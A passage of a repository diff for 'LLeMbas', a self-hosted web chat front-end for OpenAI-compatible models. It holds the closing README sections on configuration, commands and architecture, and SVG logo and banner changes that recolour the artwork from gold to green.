> session cookie is not marked `secure` so a LAN install works at all — with a
|
||||
> terminal switched on, that is worth a certificate.
|
||||
|
||||
### The library
|
||||
|
||||
**Sidebar → Library**, and **Settings → Memory**. Nothing is on by default for a
|
||||
model: give it the tools it should have under **Admin → Models**, where
|
||||
`tools` decides whether a tool list may be sent at all and the built-in tools are
|
||||
chosen one by one.
|
||||
|
||||
Knowledge is organised into **bases** — one per subject, project or client. A
|
||||
chat with no base attached searches everything you have; tick some in the chat's
|
||||
settings panel and it searches only those. Sharing happens at the base: share it
|
||||
and everything in it comes too, read-only.
|
||||
|
||||
Search is SQLite's FTS5 — keyword matching with BM25 ranking, no embedding
|
||||
service to run and nothing that stops working offline. It will not match a
|
||||
paraphrase, so a line of description on a document is worth writing.
|
||||
|
||||
> Saving a **link** makes your server fetch a URL. Addresses on your own machine
|
||||
> and network are refused unless an administrator opts in under
|
||||
> **Admin → Web search**, because the address can come from a model and the
|
||||
> server can reach things your browser cannot.
|
||||
|
||||
### Installing as an app
|
||||
|
||||
Open it in a browser and use *Install* (Chromium) or *Share → Add to Home
|
||||
Screen* (iOS). This also needs HTTPS or localhost — service workers are
|
||||
unavailable over plain HTTP, and without one there is nothing to install.
|
||||
|
||||
There is no offline mode beyond a page saying so. Everything is rendered by your
|
||||
server, so a cached conversation would be a snapshot that silently went stale.
|
||||
|
||||
## Configuration
|
||||
|
||||
All variables are prefixed `LEMBAS_` and can live in `.env`. See
|
||||
[`.env.example`](.env.example) for the annotated list.
|
||||
|
||||
| Variable | Default | Purpose |
|
||||
|---|---|---|
|
||||
| `LEMBAS_SECRET_KEY` | *generated* | Signs sessions and encrypts stored API keys. **Set this.** A generated key changes every restart, signing everyone out and making stored API keys unreadable. |
|
||||
| `LEMBAS_DATA_DIR` | `./data` | SQLite database and uploads. |
|
||||
| `LEMBAS_HOST` / `LEMBAS_PORT` | `127.0.0.1` / `8080` | Bind address. |
|
||||
| `LEMBAS_ALLOW_SIGNUP` | `true` | Whether new users may register themselves — the *initial* value only. Once set under **Admin → General** the stored setting wins. The first account is always an admin regardless. |
|
||||
| `LEMBAS_DEFAULT_THEME` | `moria` | `moria` (dark) or `shire` (light). |
|
||||
| `LEMBAS_SESSION_TTL` | `2592000` | Session lifetime in seconds. |
|
||||
| `LEMBAS_REQUEST_TIMEOUT` | `300` | Seconds to wait on an upstream model. |
|
||||
|
||||
### Commands
|
||||
|
||||
```bash
|
||||
lembas serve # run the server
|
||||
lembas info # where data lives, what is configured
|
||||
lembas secret-key # generate a value for LEMBAS_SECRET_KEY
|
||||
lembas create-admin # create or promote an administrator
|
||||
```
|
||||
|
||||
## How it fits together
|
||||
|
||||
```
|
||||
Browser ──form POST──▶ FastAPI ──▶ SQLite
|
||||
▲ │
|
||||
│ └──httpx──▶ any OpenAI-compatible endpoint
|
||||
└──── server-sent events ◀───────────────┘ (streamed reply)
|
||||
```
|
||||
|
||||
Sending a message stores the turn and returns two HTML fragments: the user's
|
||||
bubble and an empty assistant bubble carrying an `sse-connect`. That opens a
|
||||
server-sent event stream which appends tokens as they arrive, then replaces the
|
||||
whole bubble with the finished, Markdown-rendered version. Rendering and
|
||||
highlighting happen in Python, so the streamed and final views cannot disagree.
|
||||
|
||||
```
|
||||
src/lembas/
|
||||
api/ routes: auth, chats, folders, admin, pages
|
||||
db/models/ SQLAlchemy schema
|
||||
security/ password hashing, sessions
|
||||
services/ llm client, chat orchestration, markdown, crypto, sse
|
||||
web/ Jinja templates and static assets
|
||||
assets/ SVG artwork masters
|
||||
scripts/ artwork generator, vendored-JS fetcher
|
||||
deploy/ systemd unit and nginx vhost for a real install
|
||||
```
|
||||
|
||||
## Development
|
||||
|
||||
```bash
|
||||
pytest # test suite
|
||||
ruff check . # lint
|
||||
python scripts/build_artwork.py # regenerate the SVG artwork
|
||||
python scripts/fetch_vendor.py # verify vendored JS against the lockfile
|
||||
```
|
||||
|
||||
There is no Alembic. The schema is SQLite-only and synchronised at startup:
|
||||
missing tables and missing columns are added automatically, so adding a field to
|
||||
a model needs nothing but a restart. Renames, drops and retypes are still manual
|
||||
— see `CLAUDE.md`.
|
||||
|
||||
## Artwork
|
||||
|
||||
The logo, favicon and banner are original vector work, generated by
|
||||
[`scripts/build_artwork.py`](scripts/build_artwork.py) so the mallorn leaf stays
|
||||
identical across every size it appears at. The wordmark is
|
||||
[Source Serif 4](https://github.com/adobe-fonts/source-serif) (SIL OFL 1.1)
|
||||
converted to outlines — a README banner cannot load a webfont, and `<text>`
|
||||
would render in whatever serif the reader happens to have.
|
||||
|
||||
## Licence
|
||||
|
||||
[GPL-3.0](LICENSE).
|
||||
|
||||
## A note on the theme
|
||||
|
||||
This is an independent hobby project, themed as an affectionate nod to
|
||||
J.R.R. Tolkien's world. It is **not affiliated with, endorsed by, or connected
|
||||
to** the Tolkien Estate, Middle-earth Enterprises, or any related rights
|
||||
holder. All artwork here is original.
|
||||
|
||||
|
After Width: | Height: | Size: 12 KiB |
@@ -10,8 +10,8 @@
|
||||
<stop offset="1" stop-color="#1A2530"/>
|
||||
</linearGradient>
|
||||
<radialGradient id="b-glow" cx="0.5" cy="0.54" r="0.5">
|
||||
<stop offset="0" stop-color="#C9A227" stop-opacity="0.22"/>
|
||||
<stop offset="1" stop-color="#C9A227" stop-opacity="0"/>
|
||||
<stop offset="0" stop-color="#9BCC5A" stop-opacity="0.22"/>
|
||||
<stop offset="1" stop-color="#9BCC5A" stop-opacity="0"/>
|
||||
</radialGradient>
|
||||
<!-- Cool light sitting just above the ridge line, so the far mountains
|
||||
separate from the near ones instead of merging into one dark mass. -->
|
||||
@@ -21,17 +21,17 @@
|
||||
</radialGradient>
|
||||
|
||||
<linearGradient id="b-wafer" x1="0" y1="0" x2="0.3" y2="1">
|
||||
<stop offset="0" stop-color="#EACB74"/>
|
||||
<stop offset="0.5" stop-color="#C9A227"/>
|
||||
<stop offset="1" stop-color="#916F13"/>
|
||||
<stop offset="0" stop-color="#7FB758"/>
|
||||
<stop offset="0.5" stop-color="#4C8C33"/>
|
||||
<stop offset="1" stop-color="#2A5522"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="b-leaf" x1="0.1" y1="1" x2="0.9" y2="0">
|
||||
<stop offset="0" stop-color="#93A5B6"/>
|
||||
<stop offset="0.4" stop-color="#F1F6FA"/>
|
||||
<stop offset="1" stop-color="#B8C7D5"/>
|
||||
<stop offset="0" stop-color="#9DB49A"/>
|
||||
<stop offset="0.4" stop-color="#F3F8EE"/>
|
||||
<stop offset="1" stop-color="#C6D8BE"/>
|
||||
</linearGradient>
|
||||
<clipPath id="b-clip">
|
||||
<rect x="6" y="6" width="52" height="52" rx="13"/>
|
||||
<rect x="5" y="5" width="54" height="54" rx="14"/>
|
||||
</clipPath>
|
||||
</defs>
|
||||
|
||||
@@ -170,55 +170,55 @@
|
||||
</g>
|
||||
<rect y="180" width="1280" height="240" fill="url(#b-horizon)"/>
|
||||
<rect width="1280" height="420" fill="url(#b-glow)"/>
|
||||
<g transform="translate(120 90) rotate(-18) scale(0.42) translate(-32 -32)" opacity="0.16"><path d="M20.5 45.5 C13.8 31.7 23.8 20.9 45.5 18.5 C49.8 35 39.8 45.8 20.5 45.5 Z" fill="#E0B252"/></g>
|
||||
<g transform="translate(250 250) rotate(24) scale(0.3) translate(-32 -32)" opacity="0.17"><path d="M20.5 45.5 C13.8 31.7 23.8 20.9 45.5 18.5 C49.8 35 39.8 45.8 20.5 45.5 Z" fill="#E0B252"/></g>
|
||||
<g transform="translate(1035 95) rotate(12) scale(0.36) translate(-32 -32)" opacity="0.17"><path d="M20.5 45.5 C13.8 31.7 23.8 20.9 45.5 18.5 C49.8 35 39.8 45.8 20.5 45.5 Z" fill="#E0B252"/></g>
|
||||
<g transform="translate(1160 215) rotate(-32) scale(0.46) translate(-32 -32)" opacity="0.18"><path d="M20.5 45.5 C13.8 31.7 23.8 20.9 45.5 18.5 C49.8 35 39.8 45.8 20.5 45.5 Z" fill="#E0B252"/></g>
|
||||
<g transform="translate(905 300) rotate(40) scale(0.26) translate(-32 -32)" opacity="0.17"><path d="M20.5 45.5 C13.8 31.7 23.8 20.9 45.5 18.5 C49.8 35 39.8 45.8 20.5 45.5 Z" fill="#E0B252"/></g>
|
||||
<g transform="translate(185 300) rotate(-8) scale(0.24) translate(-32 -32)" opacity="0.18"><path d="M20.5 45.5 C13.8 31.7 23.8 20.9 45.5 18.5 C49.8 35 39.8 45.8 20.5 45.5 Z" fill="#E0B252"/></g>
|
||||
<g transform="translate(120 90) rotate(-18) scale(0.42) translate(-32 -32)" opacity="0.16"><path d="M21 46 C19.6 40.5 20.4 34.2 23.4 30.5 C27.5 25.5 35 20.5 46 18 C43.5 26.5 40.5 36.5 36.1 41.9 C33 45.6 26.5 47 21 46 Z" fill="#9BCC5A"/></g>
|
||||
<g transform="translate(250 250) rotate(24) scale(0.3) translate(-32 -32)" opacity="0.17"><path d="M21 46 C19.6 40.5 20.4 34.2 23.4 30.5 C27.5 25.5 35 20.5 46 18 C43.5 26.5 40.5 36.5 36.1 41.9 C33 45.6 26.5 47 21 46 Z" fill="#9BCC5A"/></g>
|
||||
<g transform="translate(1035 95) rotate(12) scale(0.36) translate(-32 -32)" opacity="0.17"><path d="M21 46 C19.6 40.5 20.4 34.2 23.4 30.5 C27.5 25.5 35 20.5 46 18 C43.5 26.5 40.5 36.5 36.1 41.9 C33 45.6 26.5 47 21 46 Z" fill="#9BCC5A"/></g>
|
||||
<g transform="translate(1160 215) rotate(-32) scale(0.46) translate(-32 -32)" opacity="0.18"><path d="M21 46 C19.6 40.5 20.4 34.2 23.4 30.5 C27.5 25.5 35 20.5 46 18 C43.5 26.5 40.5 36.5 36.1 41.9 C33 45.6 26.5 47 21 46 Z" fill="#9BCC5A"/></g>
|
||||
<g transform="translate(905 300) rotate(40) scale(0.26) translate(-32 -32)" opacity="0.17"><path d="M21 46 C19.6 40.5 20.4 34.2 23.4 30.5 C27.5 25.5 35 20.5 46 18 C43.5 26.5 40.5 36.5 36.1 41.9 C33 45.6 26.5 47 21 46 Z" fill="#9BCC5A"/></g>
|
||||
<g transform="translate(185 300) rotate(-8) scale(0.24) translate(-32 -32)" opacity="0.18"><path d="M21 46 C19.6 40.5 20.4 34.2 23.4 30.5 C27.5 25.5 35 20.5 46 18 C43.5 26.5 40.5 36.5 36.1 41.9 C33 45.6 26.5 47 21 46 Z" fill="#9BCC5A"/></g>
|
||||
|
||||
<!-- Ridge lines, furthest first. Each is lighter than the one in front of it,
|
||||
which is what reads as distance. -->
|
||||
<polygon points="0.0,366.0 77.4,260.4 99.7,287.8 209.3,307.1 222.5,340.5 301.6,290.7 339.9,314.6 467.1,267.1 496.3,282.9 606.7,228.9 632.9,259.8 746.4,307.3 778.6,334.3 861.2,310.5 896.2,334.5 1013.6,227.8 1044.7,263.3 1135.1,235.4 1159.3,271.3 1280.0,304.0 1280.0,366.0 1280,999 0,999" fill="#1C2836"/>
|
||||
<polygon points="0.0,392.0 76.5,282.7 92.5,305.1 157.2,334.8 195.6,347.7 306.6,319.4 331.0,337.8 404.6,292.3 419.7,305.8 478.9,333.4 502.2,359.5 591.3,344.5 610.7,372.4 673.6,307.7 696.0,329.2 781.8,302.5 807.3,323.8 939.9,310.5 956.3,320.6 1092.6,317.2 1110.4,344.2 1216.2,299.7 1251.5,314.1 1280.0,288.9 1280.0,392.0 1280,999 0,999" fill="#111A25"/>
|
||||
<polygon points="0.0,416.0 71.3,356.9 100.4,368.9 176.0,352.0 209.4,364.3 309.1,378.7 321.9,389.3 428.2,386.8 461.4,395.6 538.3,388.1 576.7,403.3 707.1,360.5 720.7,370.5 819.7,384.5 856.9,395.1 927.4,350.8 943.4,368.4 1038.7,363.5 1060.3,375.6 1133.4,388.3 1168.4,397.2 1280.0,380.1 1280.0,416.0 1280,999 0,999" fill="#080D13"/>
|
||||
<rect y="415" width="1280" height="5" fill="#C9A227" opacity="0.55"/>
|
||||
<rect y="415" width="1280" height="5" fill="#9BCC5A" opacity="0.55"/>
|
||||
|
||||
<!-- Lockup. Colours are fixed rather than themed: the banner carries its own
|
||||
night sky, so it must not follow the reader's colour scheme. -->
|
||||
<g transform="translate(304.75 118.00) scale(2.1250)">
|
||||
<rect x="6" y="6" width="52" height="52" rx="13" fill="url(#b-wafer)"/>
|
||||
<rect x="5" y="5" width="54" height="54" rx="14" fill="url(#b-wafer)"/>
|
||||
<g clip-path="url(#b-clip)" fill="none" stroke-linecap="round">
|
||||
<g stroke="#7A5C10" stroke-opacity="0.38" stroke-width="2">
|
||||
<path d="M32 6 V58"/>
|
||||
<path d="M6 32 H58"/>
|
||||
<g stroke="#1F4019" stroke-opacity="0.30" stroke-width="1.8">
|
||||
<path d="M32 5 V59"/>
|
||||
<path d="M5 32 H59"/>
|
||||
</g>
|
||||
<g stroke="#F6E3A8" stroke-opacity="0.3" stroke-width="1">
|
||||
<path d="M33.2 6 V58"/>
|
||||
<path d="M6 33.2 H58"/>
|
||||
<g stroke="#C7E7A6" stroke-opacity="0.20" stroke-width="0.9">
|
||||
<path d="M33.1 5 V59"/>
|
||||
<path d="M5 33.1 H59"/>
|
||||
</g>
|
||||
</g>
|
||||
<rect x="7.1" y="7.1" width="49.8" height="49.8" rx="11.9"
|
||||
fill="none" stroke="#7A5C10" stroke-opacity="0.3" stroke-width="1.2"/>
|
||||
<rect x="6.1" y="6.1" width="51.8" height="51.8" rx="12.9"
|
||||
fill="none" stroke="#1F4019" stroke-opacity="0.32" stroke-width="1.2"/>
|
||||
<g>
|
||||
<path d="M21.2 44.8 L17 49.4" stroke="#8A9AA8" stroke-width="3"
|
||||
<path d="M21.4 45.6 L16.3 51.2" stroke="#8B9E86" stroke-width="3"
|
||||
stroke-linecap="round" fill="none"/>
|
||||
<path d="M20.5 45.5 C13.8 31.7 23.8 20.9 45.5 18.5 C49.8 35 39.8 45.8 20.5 45.5 Z" fill="url(#b-leaf)"/>
|
||||
<path d="M20.5 45.5 C28 38 36 29 45.5 18.5" fill="none" stroke="#61758A" stroke-opacity="0.5"
|
||||
<path d="M21 46 C19.6 40.5 20.4 34.2 23.4 30.5 C27.5 25.5 35 20.5 46 18 C43.5 26.5 40.5 36.5 36.1 41.9 C33 45.6 26.5 47 21 46 Z" fill="url(#b-leaf)"/>
|
||||
<path d="M21 46 Q30.5 34.5 46 18" fill="none" stroke="#57734F" stroke-opacity="0.5"
|
||||
stroke-width="1.5" stroke-linecap="round"/>
|
||||
<g fill="none" stroke="#61758A" stroke-opacity="0.32"
|
||||
<g fill="none" stroke="#57734F" stroke-opacity="0.32"
|
||||
stroke-width="1" stroke-linecap="round">
|
||||
<path d="M26.9 38.8 Q25.2 35.8 24.9 32.1"/>
|
||||
<path d="M32.3 33.1 Q30.9 30.3 30.4 26.9"/>
|
||||
<path d="M37.8 27.0 Q36.6 24.6 36.3 21.7"/>
|
||||
<path d="M26.9 38.8 Q30.5 40.1 33.7 40.3"/>
|
||||
<path d="M32.3 33.1 Q35.8 34.3 38.6 34.5"/>
|
||||
<path d="M37.8 27.0 Q40.8 27.9 43.2 28.1"/>
|
||||
<path d="M26.8 39.2 Q24.9 37.4 24.7 35.3"/>
|
||||
<path d="M32.0 33.3 Q30.1 31.5 29.8 29.2"/>
|
||||
<path d="M37.8 26.9 Q36.4 25.6 36.1 23.7"/>
|
||||
<path d="M26.8 39.2 Q28.7 40.9 30.7 40.8"/>
|
||||
<path d="M32.0 33.3 Q33.9 35.0 36.1 34.9"/>
|
||||
<path d="M37.8 26.9 Q39.4 28.2 40.9 28.2"/>
|
||||
</g>
|
||||
</g>
|
||||
</g>
|
||||
<g transform="translate(470.08 232.00)">
|
||||
<style>.base { fill: #EDE6D6; } .accent { fill: #E0B252; }</style>
|
||||
<style>.base { fill: #EDE6D6; } .accent { fill: #9BCC5A; }</style>
|
||||
<path class="accent" data-char="L" d="M4.67 -88.57 14.83 -87.33C15.24 -76.48 15.24 -61.52 15.24 -49.02V-42.98C15.24 -30.21 15.24 -14.83 14.83 -3.84L4.67 -2.61V0.00H65.91L67.56 -26.78H64.95L56.30 -3.43H29.93C29.52 -14.28 29.39 -29.93 29.39 -42.98V-49.02C29.39 -61.52 29.52 -76.48 29.93 -87.33L39.96 -88.57V-91.18H4.67Z"/>
|
||||
<path class="accent" data-char="L" d="M75.52 -88.57 85.68 -87.33C86.10 -76.48 86.10 -61.52 86.10 -49.02V-42.98C86.10 -30.21 86.10 -14.83 85.68 -3.84L75.52 -2.61V0.00H136.76L138.41 -26.78H135.80L127.15 -3.43H100.79C100.38 -14.28 100.24 -29.93 100.24 -42.98V-49.02C100.24 -61.52 100.38 -76.48 100.79 -87.33L110.81 -88.57V-91.18H75.52Z"/>
|
||||
<path class="base" data-char="e" d="M175.76 -60.97C182.76 -60.97 187.43 -55.47 187.43 -45.18C187.43 -39.13 185.37 -37.07 179.06 -37.07H161.07C162.03 -54.65 168.76 -60.97 175.76 -60.97ZM175.90 1.79C186.20 1.79 194.85 -2.88 199.79 -13.46L197.87 -14.83C193.75 -9.75 188.39 -6.45 180.98 -6.45C169.44 -6.45 160.93 -16.20 160.93 -32.82V-33.92H198.69C199.24 -35.84 199.52 -37.49 199.52 -40.51C199.52 -54.79 189.63 -64.26 175.62 -64.26C160.38 -64.26 146.93 -51.49 146.93 -30.07C146.93 -9.89 159.70 1.79 175.90 1.79Z"/>
|
||||
|
||||
|
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 36 KiB |
@@ -3,25 +3,25 @@
|
||||
<title>LLeMbas</title>
|
||||
<defs>
|
||||
<linearGradient id="f-wafer" x1="0" y1="0" x2="0.3" y2="1">
|
||||
<stop offset="0" stop-color="#EACB74"/>
|
||||
<stop offset="0.5" stop-color="#C9A227"/>
|
||||
<stop offset="1" stop-color="#916F13"/>
|
||||
<stop offset="0" stop-color="#7FB758"/>
|
||||
<stop offset="0.5" stop-color="#4C8C33"/>
|
||||
<stop offset="1" stop-color="#2A5522"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="f-leaf" x1="0.1" y1="1" x2="0.9" y2="0">
|
||||
<stop offset="0" stop-color="#93A5B6"/>
|
||||
<stop offset="0.4" stop-color="#F1F6FA"/>
|
||||
<stop offset="1" stop-color="#B8C7D5"/>
|
||||
<stop offset="0" stop-color="#9DB49A"/>
|
||||
<stop offset="0.4" stop-color="#F3F8EE"/>
|
||||
<stop offset="1" stop-color="#C6D8BE"/>
|
||||
</linearGradient>
|
||||
<clipPath id="f-clip">
|
||||
<rect x="6" y="6" width="52" height="52" rx="13"/>
|
||||
<rect x="5" y="5" width="54" height="54" rx="14"/>
|
||||
</clipPath>
|
||||
</defs>
|
||||
<rect x="2" y="2" width="60" height="60" rx="14" fill="url(#f-wafer)"/>
|
||||
<g transform="translate(32 32) scale(1.16) translate(-32 -32)">
|
||||
<path d="M20.6 44.6 L15.6 50.1" stroke="#8A9AA8" stroke-width="3.4"
|
||||
<rect x="1" y="1" width="62" height="62" rx="15" fill="url(#f-wafer)"/>
|
||||
<g transform="translate(32 32) scale(1.1) translate(-32 -32)">
|
||||
<path d="M21.4 45.6 L16.3 51.2" stroke="#8B9E86" stroke-width="3.4"
|
||||
stroke-linecap="round" fill="none"/>
|
||||
<path d="M20.5 45.5 C13.8 31.7 23.8 20.9 45.5 18.5 C49.8 35 39.8 45.8 20.5 45.5 Z" fill="url(#f-leaf)"/>
|
||||
<path d="M20.5 45.5 C28 38 36 29 45.5 18.5" fill="none" stroke="#61758A" stroke-opacity="0.45"
|
||||
<path d="M21 46 C19.6 40.5 20.4 34.2 23.4 30.5 C27.5 25.5 35 20.5 46 18 C43.5 26.5 40.5 36.5 36.1 41.9 C33 45.6 26.5 47 21 46 Z" fill="url(#f-leaf)"/>
|
||||
<path d="M21 46 Q30.5 34.5 46 18" fill="none" stroke="#57734F" stroke-opacity="0.45"
|
||||
stroke-width="1.8" stroke-linecap="round"/>
|
||||
</g>
|
||||
</svg>
|
||||
|
||||
|
Before Width: | Height: | Size: 1.2 KiB After Width: | Height: | Size: 1.3 KiB |
|
After Width: | Height: | Size: 17 KiB |
|
After Width: | Height: | Size: 62 KiB |
|
After Width: | Height: | Size: 30 KiB |
@@ -3,55 +3,55 @@
|
||||
<title>LLeMbas</title>
|
||||
<defs>
|
||||
<linearGradient id="l-wafer" x1="0" y1="0" x2="0.3" y2="1">
|
||||
<stop offset="0" stop-color="#EACB74"/>
|
||||
<stop offset="0.5" stop-color="#C9A227"/>
|
||||
<stop offset="1" stop-color="#916F13"/>
|
||||
<stop offset="0" stop-color="#7FB758"/>
|
||||
<stop offset="0.5" stop-color="#4C8C33"/>
|
||||
<stop offset="1" stop-color="#2A5522"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="l-leaf" x1="0.1" y1="1" x2="0.9" y2="0">
|
||||
<stop offset="0" stop-color="#93A5B6"/>
|
||||
<stop offset="0.4" stop-color="#F1F6FA"/>
|
||||
<stop offset="1" stop-color="#B8C7D5"/>
|
||||
<stop offset="0" stop-color="#9DB49A"/>
|
||||
<stop offset="0.4" stop-color="#F3F8EE"/>
|
||||
<stop offset="1" stop-color="#C6D8BE"/>
|
||||
</linearGradient>
|
||||
<clipPath id="l-clip">
|
||||
<rect x="6" y="6" width="52" height="52" rx="13"/>
|
||||
<rect x="5" y="5" width="54" height="54" rx="14"/>
|
||||
</clipPath>
|
||||
</defs>
|
||||
<style>
|
||||
.base { fill: var(--lembas-ink, #1B1F23); }
|
||||
.accent { fill: var(--lembas-gold, #C9A227); }
|
||||
.accent { fill: var(--lembas-leaf, #4C7A22); }
|
||||
@media (prefers-color-scheme: dark) {
|
||||
.base { fill: var(--lembas-ink, #EDE6D6); }
|
||||
.accent { fill: var(--lembas-gold, #E0B252); }
|
||||
.accent { fill: var(--lembas-leaf, #9BCC5A); }
|
||||
}
|
||||
</style>
|
||||
<g transform="translate(4.0 4.0)">
|
||||
<rect x="6" y="6" width="52" height="52" rx="13" fill="url(#l-wafer)"/>
|
||||
<rect x="5" y="5" width="54" height="54" rx="14" fill="url(#l-wafer)"/>
|
||||
<g clip-path="url(#l-clip)" fill="none" stroke-linecap="round">
|
||||
<g stroke="#7A5C10" stroke-opacity="0.38" stroke-width="2">
|
||||
<path d="M32 6 V58"/>
|
||||
<path d="M6 32 H58"/>
|
||||
<g stroke="#1F4019" stroke-opacity="0.30" stroke-width="1.8">
|
||||
<path d="M32 5 V59"/>
|
||||
<path d="M5 32 H59"/>
|
||||
</g>
|
||||
<g stroke="#F6E3A8" stroke-opacity="0.3" stroke-width="1">
|
||||
<path d="M33.2 6 V58"/>
|
||||
<path d="M6 33.2 H58"/>
|
||||
<g stroke="#C7E7A6" stroke-opacity="0.20" stroke-width="0.9">
|
||||
<path d="M33.1 5 V59"/>
|
||||
<path d="M5 33.1 H59"/>
|
||||
</g>
|
||||
</g>
|
||||
<rect x="7.1" y="7.1" width="49.8" height="49.8" rx="11.9"
|
||||
fill="none" stroke="#7A5C10" stroke-opacity="0.3" stroke-width="1.2"/>
|
||||
<rect x="6.1" y="6.1" width="51.8" height="51.8" rx="12.9"
|
||||
fill="none" stroke="#1F4019" stroke-opacity="0.32" stroke-width="1.2"/>
|
||||
<g>
|
||||
<path d="M21.2 44.8 L17 49.4" stroke="#8A9AA8" stroke-width="3"
|
||||
<path d="M21.4 45.6 L16.3 51.2" stroke="#8B9E86" stroke-width="3"
|
||||
stroke-linecap="round" fill="none"/>
|
||||
<path d="M20.5 45.5 C13.8 31.7 23.8 20.9 45.5 18.5 C49.8 35 39.8 45.8 20.5 45.5 Z" fill="url(#l-leaf)"/>
|
||||
<path d="M20.5 45.5 C28 38 36 29 45.5 18.5" fill="none" stroke="#61758A" stroke-opacity="0.5"
|
||||
<path d="M21 46 C19.6 40.5 20.4 34.2 23.4 30.5 C27.5 25.5 35 20.5 46 18 C43.5 26.5 40.5 36.5 36.1 41.9 C33 45.6 26.5 47 21 46 Z" fill="url(#l-leaf)"/>
|
||||
<path d="M21 46 Q30.5 34.5 46 18" fill="none" stroke="#57734F" stroke-opacity="0.5"
|
||||
stroke-width="1.5" stroke-linecap="round"/>
|
||||
<g fill="none" stroke="#61758A" stroke-opacity="0.32"
|
||||
<g fill="none" stroke="#57734F" stroke-opacity="0.32"
|
||||
stroke-width="1" stroke-linecap="round">
|
||||
<path d="M26.9 38.8 Q25.2 35.8 24.9 32.1"/>
|
||||
<path d="M32.3 33.1 Q30.9 30.3 30.4 26.9"/>
|
||||
<path d="M37.8 27.0 Q36.6 24.6 36.3 21.7"/>
|
||||
<path d="M26.9 38.8 Q30.5 40.1 33.7 40.3"/>
|
||||
<path d="M32.3 33.1 Q35.8 34.3 38.6 34.5"/>
|
||||
<path d="M37.8 27.0 Q40.8 27.9 43.2 28.1"/>
|
||||
<path d="M26.8 39.2 Q24.9 37.4 24.7 35.3"/>
|
||||
<path d="M32.0 33.3 Q30.1 31.5 29.8 29.2"/>
|
||||
<path d="M37.8 26.9 Q36.4 25.6 36.1 23.7"/>
|
||||
<path d="M26.8 39.2 Q28.7 40.9 30.7 40.8"/>
|
||||
<path d="M32.0 33.3 Q33.9 35.0 36.1 34.9"/>
|
||||
<path d="M37.8 26.9 Q39.4 28.2 40.9 28.2"/>
|
||||
</g>
|
||||
</g>
|
||||
</g>
|
||||
|
||||
|
Before Width: | Height: | Size: 5.9 KiB After Width: | Height: | Size: 5.9 KiB |
@@ -1,49 +1,49 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 64 64" width="64" height="64"
|
||||
role="img" aria-label="LLeMbas">
|
||||
<title>LLeMbas</title>
|
||||
<desc>A silver mallorn leaf laid across a scored golden lembas wafer.</desc>
|
||||
<desc>A pale mallorn leaf laid across a scored green lembas wafer.</desc>
|
||||
<defs>
|
||||
<linearGradient id="m-wafer" x1="0" y1="0" x2="0.3" y2="1">
|
||||
<stop offset="0" stop-color="#EACB74"/>
|
||||
<stop offset="0.5" stop-color="#C9A227"/>
|
||||
<stop offset="1" stop-color="#916F13"/>
|
||||
<stop offset="0" stop-color="#7FB758"/>
|
||||
<stop offset="0.5" stop-color="#4C8C33"/>
|
||||
<stop offset="1" stop-color="#2A5522"/>
|
||||
</linearGradient>
|
||||
<linearGradient id="m-leaf" x1="0.1" y1="1" x2="0.9" y2="0">
|
||||
<stop offset="0" stop-color="#93A5B6"/>
|
||||
<stop offset="0.4" stop-color="#F1F6FA"/>
|
||||
<stop offset="1" stop-color="#B8C7D5"/>
|
||||
<stop offset="0" stop-color="#9DB49A"/>
|
||||
<stop offset="0.4" stop-color="#F3F8EE"/>
|
||||
<stop offset="1" stop-color="#C6D8BE"/>
|
||||
</linearGradient>
|
||||
<clipPath id="m-clip">
|
||||
<rect x="6" y="6" width="52" height="52" rx="13"/>
|
||||
<rect x="5" y="5" width="54" height="54" rx="14"/>
|
||||
</clipPath>
|
||||
</defs>
|
||||
<rect x="6" y="6" width="52" height="52" rx="13" fill="url(#m-wafer)"/>
|
||||
<rect x="5" y="5" width="54" height="54" rx="14" fill="url(#m-wafer)"/>
|
||||
<g clip-path="url(#m-clip)" fill="none" stroke-linecap="round">
|
||||
<g stroke="#7A5C10" stroke-opacity="0.38" stroke-width="2">
|
||||
<path d="M32 6 V58"/>
|
||||
<path d="M6 32 H58"/>
|
||||
<g stroke="#1F4019" stroke-opacity="0.30" stroke-width="1.8">
|
||||
<path d="M32 5 V59"/>
|
||||
<path d="M5 32 H59"/>
|
||||
</g>
|
||||
<g stroke="#F6E3A8" stroke-opacity="0.3" stroke-width="1">
|
||||
<path d="M33.2 6 V58"/>
|
||||
<path d="M6 33.2 H58"/>
|
||||
<g stroke="#C7E7A6" stroke-opacity="0.20" stroke-width="0.9">
|
||||
<path d="M33.1 5 V59"/>
|
||||
<path d="M5 33.1 H59"/>
|
||||
</g>
|
||||
</g>
|
||||
<rect x="7.1" y="7.1" width="49.8" height="49.8" rx="11.9"
|
||||
fill="none" stroke="#7A5C10" stroke-opacity="0.3" stroke-width="1.2"/>
|
||||
<rect x="6.1" y="6.1" width="51.8" height="51.8" rx="12.9"
|
||||
fill="none" stroke="#1F4019" stroke-opacity="0.32" stroke-width="1.2"/>
|
||||
<g>
|
||||
<path d="M21.2 44.8 L17 49.4" stroke="#8A9AA8" stroke-width="3"
|
||||
<path d="M21.4 45.6 L16.3 51.2" stroke="#8B9E86" stroke-width="3"
|
||||
stroke-linecap="round" fill="none"/>
|
||||
<path d="M20.5 45.5 C13.8 31.7 23.8 20.9 45.5 18.5 C49.8 35 39.8 45.8 20.5 45.5 Z" fill="url(#m-leaf)"/>
|
||||
<path d="M20.5 45.5 C28 38 36 29 45.5 18.5" fill="none" stroke="#61758A" stroke-opacity="0.5"
|
||||
<path d="M21 46 C19.6 40.5 20.4 34.2 23.4 30.5 C27.5 25.5 35 20.5 46 18 C43.5 26.5 40.5 36.5 36.1 41.9 C33 45.6 26.5 47 21 46 Z" fill="url(#m-leaf)"/>
|
||||
<path d="M21 46 Q30.5 34.5 46 18" fill="none" stroke="#57734F" stroke-opacity="0.5"
|
||||
stroke-width="1.5" stroke-linecap="round"/>
|
||||
<g fill="none" stroke="#61758A" stroke-opacity="0.32"
|
||||
<g fill="none" stroke="#57734F" stroke-opacity="0.32"
|
||||
stroke-width="1" stroke-linecap="round">
|
||||
<path d="M26.9 38.8 Q25.2 35.8 24.9 32.1"/>
|
||||
<path d="M32.3 33.1 Q30.9 30.3 30.4 26.9"/>
|
||||
<path d="M37.8 27.0 Q36.6 24.6 36.3 21.7"/>
|
||||
<path d="M26.9 38.8 Q30.5 40.1 33.7 40.3"/>
|
||||
<path d="M32.3 33.1 Q35.8 34.3 38.6 34.5"/>
|
||||
